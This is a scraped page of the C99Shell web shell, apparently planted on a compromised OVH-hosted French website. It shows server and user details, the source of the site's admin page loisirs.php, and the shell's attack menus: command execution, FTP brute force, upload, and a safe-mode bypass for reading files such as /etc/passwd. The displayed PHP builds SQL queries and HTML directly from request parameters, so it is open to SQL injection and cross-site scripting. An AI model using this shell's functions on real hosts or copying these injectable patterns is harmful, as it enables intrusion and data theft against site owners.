!C99Shell v. 1.0 pre-release build #16!

Software: Apache. PHP/5.4.45 

uname -a: Linux webm115.cluster007.gra.hosting.ovh.net 5.15.74-ovh-vps-grsec-zfs-classid #1 SMP Wed
Oct 26 09:50:47 UTC 2022 x86_64
 

uid=763961(ebenisteaz) gid=100(users) groups=100(users) 

Safe-mode: OFF (not secure)

/home/ebenisteaz/www/admin/   drwx---r-x
Free 0 B of 0 B (0%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     loisirs.php (10.87 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php require_once("header.php");
$theTable=TABLE_PAGES;
 if(isset(
$_REQUEST['type'])  && !empty($_REQUEST['type']))$thisPageContent=$_REQUEST['type']; else $thisPageContent="";
?>
<link href="./js/dropzone/css/dropzone.css" rel="stylesheet" />
</head>

<body>
    
    <?php require_once("nav_bar.php"); ?>
        <div class="container-fluid">
        <div class="row-fluid">
                <?php require_once("menu.php"); ?>
            
            <div id="content" class="span10">
            <!-- content starts -->
            <div>
                <ul class="breadcrumb">
                    <li>
                        <a href="#">Accueil</a> <span class="divider">/ <?php if(isset($thisPageContent) && $thisPageContent!="" ) {echo $thisPageContent."s"; }?></span>
                    </li>
                    
                </ul>
            </div>
            <?php if(isset($_REQUEST['action'])  && ($_REQUEST['action']=="liste") || !isset($_REQUEST['action']) && !isset($_GET['gets'])  && !isset($_REQUEST['gal']) ){?>
            <div class="row-fluid">        
                <div class="box span12">
                    <div class="box-header well" data-original-title>
                <h2><i class="icon-th-list"></i> Liste <?php if(isset($thisPageContent) && $thisPageContent!="" ) {echo $thisPageContent."s"; }?></h2>
                <div class="span1" style="float:right"><a href="<?php echo $_SERVER['PHP_SELF']."?action=ajouter&type=".$thisPageContent.""?>" class="btn btn-success ajax-links" data-rel="tooltip" data-content="" title="Ajouter <?php echo $thisPageContent?>">Nouveau</a>        </div>
                    </div>
                    <div class="box-content">
                        <table class="table table-striped table-bordered bootstrap-datatable datatable checkAll tMedia dTable ui-sortable" id="dynamic">
                          <thead>
                              <tr>
                              <th><input type="checkbox" id="chkAll"></th>
                                 
                                   <th>Titre</th>
                                   <th>Statut</th>
                                   <th>Actions</th>
                              </tr>
                          </thead> 
                           <tfoot>
                    <tr>
                        <td colspan="10">
                            <div class="itemActions">
                                <label>Action : 
                                <select name="actiontodo" id="actiontodo" rel="<?php echo $theTable?>">
                                    <option value="">Séléctionner...</option>
                                    <option value="activer">Activer</option>
                                    <option value="désactiver">Désactiver</option>
                                    <option value="supprimer">Supprimer</option>
                                </select></label>
                            </div>
                            
                        </td>
                    </tr>
                </tfoot>  
                          <tbody id="contentLeft">
                          <?php
        
if(isset($thisPageContent)) $conditionType=" and type='".$thisPageContent."' ";
        
$sql "SELECT * FROM `".$theTable."` where 1=1 ".$conditionType." and idparent=0  ORDER BY orderid asc "//group by idparent
        
$rows $db->query($sql);
          while (
$record $db->fetch($rows)) {  
      
?>
                            <tr id="recordsArray_<?php echo $record['id']; ?>" class="<?php if($record['active']==0) echo "trdesactive"?>">
                            <td><input type="checkbox"   name="checkbox[]" id="checkbox[]" class="checkbox chk" rel="checkbox" value="<?php echo $record['id']; ?>" /></td>
                                                                                            
                             
                                 <td class="center"><?php echo $record['titre_fr']; ?></td>
                                
                                <td class="center"><?php echo activeNo($record['active'],$record['id'], $theTable ); ?>
                                <!--<span class="label label-success">Active</span>--></td>
                              
                                <td class="center">
                                    <a class="btn btn-success" href="<?php echo $_SERVER['PHP_SELF']."?id=".$record['id']."&gal=ok&type=".$thisPageContent.""?>">
                                        <i class="icon-zoom-in icon-white"></i>  
                                        Galerie                                            
                                    </a>
                                    <a class="btn btn-info" href="<?php echo $_SERVER['PHP_SELF']."?action=edit&id=".$record['id']."&type=".$thisPageContent.""?>">
                                        <i class="icon-edit icon-white"></i>  
                                    Modifier                                            
                                    </a>
                                    <a class="btn btn-danger deleteclient" href="javascript:void(0);"  id="<?php echo $record['id']; ?>" rel="<?php echo $theTable?>">
                                        <i class="icon-trash icon-white"></i> 
                                        Supprimer
                                    </a>
                                </td>
                            </tr>
                            <?php ?>
                          </tbody>
                      </table>            
                    </div>
                </div><!--/span-->
            
            </div>
            
            <?php 
            
            if(isset(
$_REQUEST['action']) && ($_REQUEST['action']=="ajouter"  || $_REQUEST['action']=="edit") && !isset($_REQUEST['gal']) ){ 
            
?>
            <?php 
                      
echo updateListedValue("#idparent""idparent"$theTable);
                     
             
?>
            <div class="row-fluid">
                <div class="box span12">
                    <div class="box-header well" data-original-title>
                        <h2><i class="icon-edit"></i> <?php if(isset($_REQUEST['action']) && ($_REQUEST['action']=="ajouter")) echo "Ajouter"; else if(isset($_REQUEST['action']) && ($_REQUEST['action']=="edit") ) echo "Modifier"?>  <?php if(isset($thisPageContent) && $thisPageContent!="" ) {echo $thisPageContent.""; }?></h2>
                        <div class="span1" style="float:right"><a href="<?php echo $_SERVER['PHP_SELF']."?action=liste&type=".$thisPageContent.""?>" class="btn btn-success ajax-links" data-rel="tooltip" data-content="" title="liste <?php echo $thisPageContent?>">Retour</a>        </div>
                    </div>
                    </div>
                    <div class="box-content">
                    
                    <div class="progress progress-striped progress-success active" style="display:none">
                            <div class="bar" style="width: 0%;"></div>
                        <div id="statustxt">0%</div ></div>
                        <div id="htmlExampleTarget"></div><br><br>
                        <form class="form-horizontal main" id="usualValidate" action="includes/actionsdb.php<?php //echo $_SERVER['PHP_SELF']."?action=liste"; ?>"  method="post" enctype="multipart/form-data">
                          <fieldset>
                          <?php  echo idRecord("id"$theTable); ?>
            
           <input type="hidden" name="page" value="Loisir" />
            <input type="hidden" name="typePage" value="<?php echo $thisPageContent?>" />
           <input type="hidden" id="todo" name="todo" value="<?php if (isset($_REQUEST['action']) && ($_REQUEST['action']=="ajouter") ) echo "add"; else echo "edit"?>" />
           <input type="hidden" name="thetable" value="<?php echo $theTable?>" />
                                  
                          
                           <?php  echo funcMultilangueChamp(1"Titre""titre_"$thisPageContent$theTable$langs"input-xlarge""required"); 
                           echo 
funcMultilangueAria(1"Texte""text_"$thisPageContent$theTable$langs""""5);
                           
?> 
                              
                             <div class="control-group">
                                <label class="control-label">Active</label>
                                <div class="controls">
                                  <label class="checkbox inline">
                                    <input type="checkbox" id="inlineCheckbox1" <?php echo updateChekedValue("active"$theTable) ; ?> name="active"> 
                                  </label>
                                  
                                </div>
                              </div>
                    
                    <div class="control-group">
                     <label class="control-label" for="textarea2">Photo</label>
                     <div class="fileupload fileupload-new controls" data-provides="fileupload">
  
  <span class="btn btn-file"><span class="fileupload-new">Photo</span><span class="fileupload-exists">Changer</span> <input type="file" class="fileInput <?php if (isset($_REQUEST['action']) && ($_REQUEST['action']=="ajouter") ) echo "required"?>" id="fileInput" name="photo" /></span>
  <a href="#" class="btn fileupload-exists" data-dismiss="fileupload">Supprimer</a>
  <br><div class="fileupload-new thumbnail" style="width: 100px; height: 65px;"><?php echo updateSimplephoto("photo"$theTable"../images/logos"10065?></div>
  <div class="fileupload-preview fileupload-exists thumbnail" style="width: 50px; height: 50px;"></div>
</div>
                            </div>
                     
                     
                           <div class="form-actions">
                              <button type="submit" class="btn btn-primary validForm"  name="valider">Valider</button>
                              <button type="reset" class="btn">Annuler</button>
                            </div>
                          </fieldset>
                        </form> 
                        
                   </div>
                </div><!--/span-->

            </div>
            <?php ?>
            <?php
                        
if(isset($_REQUEST['gal']) && ($_REQUEST['gal']=="ok")){  ?>
                    <form class="form-horizontal main dropzone"  action="./uploadphotos.php?emplacement=<?php echo $thisPageContent?>&table=<?php echo $theTable?>&id=<?php //echo $_REQUEST['id']; ?>&typepage=<?php echo $_REQUEST['type']; ?>"  id="demo-upload"  method="post" enctype="multipart/form-data">
                     <?php  echo idRecord("id"$theTable); $id=$_REQUEST['id'];
                     echo 
'<input type="hidden" name="idparent" value="'.$id.'">';
                      
?>
                     
            
           <input type="hidden" name="page" value="loisir" />
           <input type="hidden" id="todo" name="todo" value="<?php if (isset($_REQUEST['action']) && ($_REQUEST['action']=="ajouter") ) echo "add"; else echo "edit"?>" />
           <input type="hidden" name="thetable" value="<?php echo $theTable?>" />
           
                    <div class="control-group fileupload" style="display:none">
                                  <label class="control-label" for="selectError">Photos</label>
                              <div class="fallback controls" >
                        <input name="file[]" type="file" multiple />
                      </div></div>
                    
                    </form>
                    <ul class="thumbnails gallery2" id="contentLeft"><?php
                     
                $reqImg 
"SELECT * FROM ".TABLE_GAL." WHERE id_bien='".$id."' and typePage='".$_REQUEST['type']."' order by orderid asc";
                
$reqImg = @mysql_query($reqImg);
                while (
$res = @mysql_fetch_array($reqImg)){
                     
?>
        <li class="litodelete" id="recordsArray_<?php echo $res['id']; ?>">
            <div class="thumbnail">
                
                <a href="../images/<?php echo $thisPageContent?>/<?php echo $res['nom'];?>"  class="imagedetail" rel="prettyPhoto[]" data-toggle="prettyPhoto"><?php echo '<img src="../images/'.$thisPageContent.'/'.$res['image'].'" width="100" height="100" alt="" />'?></a>
                <div class="caption">
                    <a href="#" class="btn btn-primary gallery-delete" id="<?php echo $res['id']; ?>" rel="gallery">Supprimer</a>
                </div>
            </div>
        </li> <?php
                
                
}
                
$theTable=TABLE_GAL;
            
?>
    </ul>
                    <?php ?>
            </div><!--/#content.span10-->
                </div><!--/fluid-row-->
                
        <hr>

          <?php require_once("footer.php"); ?>
        
    </div>
    <?php require_once("js.php"); ?>
    
    <script src="./js/dropzone/dropzone.min.js"></script>
         
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | Generation time: 0.0161 ]--